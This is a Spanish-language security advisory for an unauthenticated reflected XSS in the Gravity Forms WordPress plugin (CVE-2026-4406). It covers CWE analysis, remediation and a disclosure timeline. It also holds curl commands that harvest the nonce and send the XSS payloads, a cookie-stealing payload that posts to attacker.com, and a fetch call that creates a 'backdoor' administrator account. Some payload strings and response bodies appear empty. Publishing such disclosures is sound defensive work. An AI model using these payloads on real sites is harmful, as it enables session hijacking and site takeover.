
El plugin Gravity Forms para WordPress (probado hasta la versión 2.9.28) es vulnerable a cross-site scripting (XSS) reflejado no autenticado a través del parámetro `form_ids` en la acción AJAX `gform_get_config`.
form_ids de gform_get_config| Campo | Valor |
|---|
| Software Afectado | Gravity Forms (Plugin de WordPress) |
| Proveedor | Rocketgenius, Inc. |
| Tipo de Vulnerabilidad | CWE-79: Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web (Cross-Site Scripting Reflejado) |
| Cadena CWE | CWE-20 → CWE-116 → CWE-838 → CWE-79 (ver Análisis CWE a continuación) |
| Versiones Afectadas | Confirmado en 2.9.28 (la más reciente al momento del descubrimiento); es probable que versiones anteriores estén afectadas |
| Versión Corregida | 2.9.30.1 (parche de emergencia) |
| Puntuación CVSS 3.1 | 6.1 (Media) |
| Vector CVSS 3.1 | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Autenticación Requerida | Ninguna (No autenticado) |
| Interacción del Usuario | Requerida (la víctima debe visitar una página controlada por el atacante o hacer clic en un enlace manipulado) |
| Descubierto Por | Anthony Cihan — Obviam |
| Fecha de Descubrimiento | 2026-03-04 |
| Fecha de Divulgación | 2026-03-18 |
| ID CVE | CVE-2026-4406 |
El plugin Gravity Forms para WordPress (probado hasta la versión 2.9.28) es vulnerable a cross-site scripting (XSS) reflejado no autenticado a través del parámetro form_ids en la acción AJAX gform_get_config. La vulnerabilidad existe porque los valores de form_ids proporcionados por el usuario se reflejan textualmente en la respuesta HTTP del servidor sin ningún tipo de saneamiento, codificación o escape de salida. La respuesta se sirve con una cabecera Content-Type: text/html; charset=UTF-8, lo que hace que el navegador analice y renderice el contenido reflejado como HTML, incluidos los elementos de script inyectados.
Un atacante no autenticado puede explotar esta vulnerabilidad para ejecutar JavaScript arbitrario en el contexto del origen del sitio WordPress objetivo. Debido a que la acción gform_get_config requiere un config_nonce válido, y este nonce está incrustado públicamente en el código fuente HTML de cada página que carga un formulario de Gravity Forms, un atacante puede obtener trivialmente un nonce válido solicitando cualquier página pública del sitio objetivo antes de construir la solicitud de explotación.
Una explotación exitosa permite a un atacante robar cookies de sesión, realizar acciones en nombre de usuarios autenticados (incluidos administradores de WordPress), redirigir a los usuarios a sitios maliciosos, alterar el contenido de la página o establecer acceso persistente mediante la creación de cuentas administrativas.
POST /wp-admin/admin-ajax.php
### Acción Vulnerable```
gform_get_config
El parámetro POST args acepta un objeto JSON que contiene un array form_ids. Los valores de este array se utilizan como claves de objeto en la estructura de la respuesta JSON sin saneamiento:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### Comportamiento de la respuesta
El servidor procesa los valores de `form_ids` y los refleja como claves JSON dentro del cuerpo de la respuesta. La respuesta está envuelta en marcadores de comentario HTML y se sirve como `text/html`:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids no se validan como enteros, no se sanean ni se filtran. El servidor acepta contenido de cadena arbitrario, incluyendo etiquetas HTML y manejadores de eventos.form_ids se reflejan en el cuerpo de la respuesta sin codificación de entidades HTML. Caracteres como <, >, " y ' pasan sin modificaciones.Content-Type: text/html; charset=UTF-8, lo que indica al navegador que analice el cuerpo de la respuesta como HTML. Cualquier etiqueta HTML dentro del valor reflejado se instancia y se renderiza mediante el analizador HTML del navegador.config_nonce requerido por la acción gform_get_config está incrustado en el objeto de configuración de JavaScript (gform_theme_config) en cada página que carga un formulario de Gravity Forms. Este nonce es idéntico en todas las páginas y no está vinculado a una sesión de usuario específica, lo que lo hace trivialmente obtenible por usuarios no autenticados.Esta vulnerabilidad es el resultado de múltiples debilidades contribuyentes que se encadenan para producir la condición explotable. Si bien CWE-79 es la clasificación principal para fines de informes CVE, la cadena completa documenta cómo cada fallo se acumula para habilitar la explotación.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: Validación de Entrada Incorrecta (Contribuyente)
**Rol:** Habilitador raíz — permite que datos maliciosos ingresen al pipeline de procesamiento.
Se espera que el parámetro `form_ids` en el objeto JSON `args` contenga identificadores de formularios numéricos, pero acepta entrada de cadena arbitraria sin ninguna validación. No se aplica verificación de tipo (`intval()`), ni filtrado con expresiones regulares (`^[0-9]+$`), ni comparación contra una lista blanca de IDs de formularios conocidos, ni restricciones de longitud.
**Evidencia:** El servidor acepta y procesa valores de `form_ids` que contienen etiquetas HTML, manejadores de eventos de JavaScript y Unicode arbitrario sin rechazarlos.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Rol: Vulnerabilidad principal — la causa directa de la condición XSS.
Cuando el servidor construye la respuesta JSON que contiene los valores de form_ids, no aplica codificación de entidades HTML a la salida. Los caracteres con significado especial en HTML (<, >, ", ', &) pasan sin modificar al cuerpo de la respuesta. Las funciones PHP htmlspecialchars(), esc_html(), wp_json_encode() con JSON_HEX_TAG, o funciones equivalentes de codificación de salida no se aplican a los valores de form_ids antes de que se escriban en la respuesta.
Evidencia: La cadena literal <svg onload=alert(document.domain)> aparece en el cuerpo de la respuesta byte por byte idéntica a la entrada, en lugar de como <svg onload=alert(document.domain)>.
Rol: Escalada de contexto — transforma un problema de reflexión de datos en inyección de código ejecutable.
El cuerpo de la respuesta contiene datos estructurados en JSON pero se sirve con Content-Type: text/html; charset=UTF-8. Esta declaración de Content-Type indica al analizador HTML del navegador que procese todo el cuerpo de la respuesta como un documento HTML. Si la respuesta se sirviera como application/json, el navegador mostraría la respuesta como texto plano y no se produciría ningún análisis HTML — las etiquetas inyectadas se mostrarían como texto literal en lugar de instanciarse como elementos DOM.
Evidencia:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
El encabezado `X-Content-Type-Options: nosniff` está presente pero es irrelevante porque el servidor está declarando explícitamente `text/html` — no hay detección de tipo MIME que prevenir.
### CWE-79: Neutralización incorrecta de la entrada durante la generación de la página web — XSS reflejado (resultante)
**Rol:** Resultado explotable — la vulnerabilidad materializada.
La combinación de las tres debilidades contribuyentes produce una condición de cross-site scripting reflejado. La entrada proporcionada por el usuario fluye desde la solicitud HTTP a través del procesamiento del lado del servidor y llega a la respuesta HTTP sin saneamiento, codificación o declaración de Content-Type apropiada para el contexto, lo que resulta en la ejecución de JavaScript arbitrario en el navegador de la víctima.
**Subtipo:** Reflejado (Tipo 1) — el payload se incluye en la solicitud HTTP y se refleja inmediatamente en la respuesta HTTP sin almacenamiento.
### Tabla resumen
| ID CWE | Nombre | Rol | ¿Explotable por sí sola? |
|---|---|---|---|
| CWE-20 | Validación incorrecta de la entrada | Contribuyente (habilitador raíz) | No — entran datos malos pero no se renderizan |
| CWE-116 | Codificación o escape incorrecto de la salida | Fallo técnico principal | Parcialmente — requiere contexto de renderizado HTML |
| CWE-838 | Codificación inapropiada para el contexto de salida | Agravante (escalada de contexto) | No — requiere que haya datos sin escapar |
| CWE-79 | Cross-Site Scripting (reflejado) | **Resultante (explotable)** | **Sí — esta es la vulnerabilidad materializada** |
### Análisis de la corrección mínima
Cualquier **única** remediación de la lista siguiente rompería la cadena y evitaría la explotación:
| Corrección | Rompe la cadena en | ¿Suficiente por sí sola? |
|---|---|---|
| Conversión de tipo de `form_ids` a enteros | CWE-20 (entrada) | ✅ Sí |
| Codificar la salida con entidades HTML | CWE-116 (salida) | ✅ Sí |
| Servir la respuesta como `application/json` | CWE-838 (contexto) | ✅ Sí |
**Recomendación:** Implementar las tres como defensa en profundidad. La corrección más crítica es la codificación de la salida (CWE-116), ya que protege contra vectores de inyección actuales y futuros independientemente de la validación de entrada o los cambios de Content-Type.
---
## Referencia de envío a Wordfence
| Campo | Valor |
|---|---|
| **Tipo de software** | Plugin de WordPress |
| **Slug del software** | `gravityforms` |
| **URL de Wordfence Intel** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Versiones afectadas** | <= 2.9.28 (última confirmada) |
| **Título de la vulnerabilidad** | Gravity Forms <= 2.9.28 — Cross-Site Scripting reflejado no autenticado a través del parámetro `form_ids` |
| **CWE (principal)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Privilegio requerido** | No autenticado |
| **Estado del parche** | Parcheado en 2.9.30.1 |
---
## Configuración afectada
### Condiciones requeridas del lado del servidor
- Instalación de WordPress con el plugin Gravity Forms activo (cualquier formulario publicado)
- La acción AJAX `gform_get_config` registrada (comportamiento predeterminado al activar el plugin)
### Accesibilidad del nonce
El `config_nonce` está incrustado en la variable global de JavaScript `gform_theme_config` en cualquier página que contenga un formulario de Gravity Forms:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
Este nonce se confirmó que era:
| Cabecera | Valor | Impacto en la Explotabilidad |
|---|---|---|
X-Content-Type-Options | nosniff | No mitiga — el servidor declara explícitamente text/html |
X-Frame-Options | SAMEORIGIN | Evita la explotación basada en iframes desde orígenes cruzados; la entrega mediante ventanas emergentes/redirecciones sigue funcionando |
Content-Security-Policy | frame-ancestors 'self'; | Sin directiva script-src — la ejecución de scripts en línea no está restringida |
Referrer-Policy | strict-origin-when-cross-origin | Sin impacto en la explotabilidad |
| Componente | Versión |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Servidor Web | Apache (HTTP/2) |
| Plataforma de Pruebas | Kali Linux, curl 8.x |
Solicite cualquier página del sitio objetivo que cargue un formulario de Gravity Forms y extraiga el valor de config_nonce:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Ejemplo de salida:**```
9308d72c0a
Envía una solicitud POST al manejador AJAX de WordPress con un valor form_ids manipulado que contenga una carga útil XSS:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### Paso 3: Observar la Reflexión
**Cabeceras de Respuesta HTTP:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
Cuerpo de la Respuesta HTTP:```html
El payload `<svg onload=alert(document.domain)>` se refleja **textualmente sin ninguna codificación** en el cuerpo de la respuesta. Debido a que la respuesta se sirve como `text/html`, el navegador instancia el elemento SVG y ejecuta el manejador de eventos `onload`, lo que desencadena la ejecución de JavaScript en el contexto del origen del sitio objetivo.
### Observaciones adicionales
**Se pueden inyectar múltiples payloads simultáneamente** a través del array `form_ids`:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Response:```html
**El número de formulario `config_path` es arbitrario** — cualquier entero funciona (probado: `1`, `3`, `999`), y las rutas de configuración no válidas devuelven un mensaje de error que no refleja el valor de `form_ids`.
---
## Escenarios de Explotación
### Escenario 1: Secuestro de Sesión mediante Exfiltración de Cookies
Un atacante aloja una página que extrae automáticamente un nonce válido del objetivo y luego envía el formulario de explotación a una ventana emergente. El payload exfiltra las cookies de sesión a un servidor controlado por el atacante:
**Payload:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
JavaScript decodificado:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
Esta técnica utiliza el patrón de autorreferencia `this.id` para evitar caracteres de comillas y espacios en el contexto de atributo reflejado, codificando toda la lógica del exploit en Base64 dentro del atributo `id` del elemento SVG.
Si un administrador de WordPress autenticado visita la página del atacante, su cookie de sesión (`wordpress_logged_in_*`, `wordpress_sec_*`) se transmite al atacante, quien puede entonces suplantar al administrador.
### Escenario 2: Creación de una cuenta administrativa
Utilizando el mismo mecanismo de entrega, el payload puede realizar solicitudes API autenticadas a la API REST de WordPress o a las páginas de administración para crear una nueva cuenta de administrador:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
El XSS reflejado puede reemplazar todo el DOM de la página con una superposición de phishing convincente (por ejemplo, una página de inicio de sesión falsa o un aviso de sesión caducada) para recopilar credenciales directamente.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
## Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Descripción |
|---|---|---|---|
| Acceso Inicial | Compromiso mediante Drive-by | T1189 | La víctima visita una página controlada por el atacante que aloja el mecanismo de entrega del XSS |
| Ejecución | Ejecución del Usuario: Enlace Malicioso | T1204.001 | La víctima hace clic en un enlace a la página del atacante o es redirigida |
| Acceso a Credenciales | Robo de Cookie de Sesión Web | T1539 | El payload XSS exfiltra las cookies de sesión del navegador de la víctima |
| Persistencia | Crear Cuenta | T1136.001 | El atacante utiliza la sesión de administrador robada para crear una cuenta de administrador de puerta trasera |
| Evasión de Defensas | Abuso del Mecanismo de Control de Elevación | T1548 | El XSS se ejecuta en el contexto de la sesión de un usuario privilegiado |
---
## Evaluación de Impacto
### Confidencialidad
- **Cookies de sesión** (incluidas `wordpress_logged_in_*` y `wordpress_sec_*`) pueden ser exfiltradas
- **Nonces CSRF** visibles en el DOM pueden ser capturados para solicitudes API posteriores
- **PII del usuario** renderizada en páginas de administración es accesible para el script inyectado
### Integridad
- **Acciones administrativas** pueden realizarse en nombre de la víctima (creación de entradas, instalación de plugins, gestión de usuarios, edición de temas)
- **Contenido del sitio** puede ser modificado o desfigurado
- **Cuentas de puerta trasera** pueden crearse para acceso persistente
### Disponibilidad
- **Toma del sitio** mediante el compromiso de la cuenta administrativa puede llevar a la pérdida total de disponibilidad
- **Inyección de malware** a través del editor de temas/plugins podría dejar el sitio inutilizable o dañino para los visitantes
---
## Recomendaciones de Remediación
### Para Gravity Forms (Proveedor)
1. **Validación de Entrada** — Aplicar un casting estricto de tipo entero en todos los valores de `form_ids` antes de procesarlos. Rechazar cualquier valor que no coincida con `^[0-9]+$`: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() con las banderas JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT al construir la respuesta JSON para garantizar que los caracteres significativos de HTML se escapen: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type de la respuesta a application/json en lugar de text/html para todas las respuestas JSON de AJAX. Esto evita que el navegador analice la respuesta como HTML incluso si se refleja contenido sin sanitizar: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce a la sesión del usuario o implementar limitación de velocidad en la generación de nonces para aumentar el coste de la explotación automatizada.args de las solicitudes POST a admin-ajax.php donde action=gform_get_configscript-src restrictiva (por ejemplo, script-src 'self') para evitar la ejecución de scripts en línea incluso si se reflejan| Fecha | Evento |
|---|---|
| 2026-03-04 | Vulnerabilidad descubierta durante una prueba de penetración autorizada |
| 2026-03-04 | Reportada a Wordfence (CNA de WordPress) |
| 2026-03-XX | Rechazo inicial por parte de Wordfence (clasificada erróneamente como self-XSS) |
| 2026-03-XX | Reenviada con POC armado y análisis de nonce; decisión revertida |
| 2026-03-18 | CVE-2026-4406 asignado por Wordfence |
| 2026-03-18 | Proveedor notificado vía [email protected] |
| 2026-03-21 | El proveedor reconoció y proporcionó un hotfix (2.9.30.1) para revisión |
| 2026-04-02 | Parche verificado — se confirmó que la validación de entrada absint() en form_ids y Content-Type: application/json remedian la vulnerabilidad |
| 2026-04-02 | Vulnerabilidad resuelta |
Esta vulnerabilidad fue descubierta durante un compromiso de pruebas de penetración autorizado realizado bajo una declaración de trabajo firmada con autorización escrita explícita. Todas las pruebas se realizaron dentro del alcance acordado, y los hallazgos se reportaron al cliente inmediatamente tras su descubrimiento. Esta divulgación sigue prácticas de divulgación responsable. No se accedió a sistemas no autorizados y no se exfiltraron datos fuera de la validación controlada de prueba de concepto.
Descubierto por: Anthony Cihan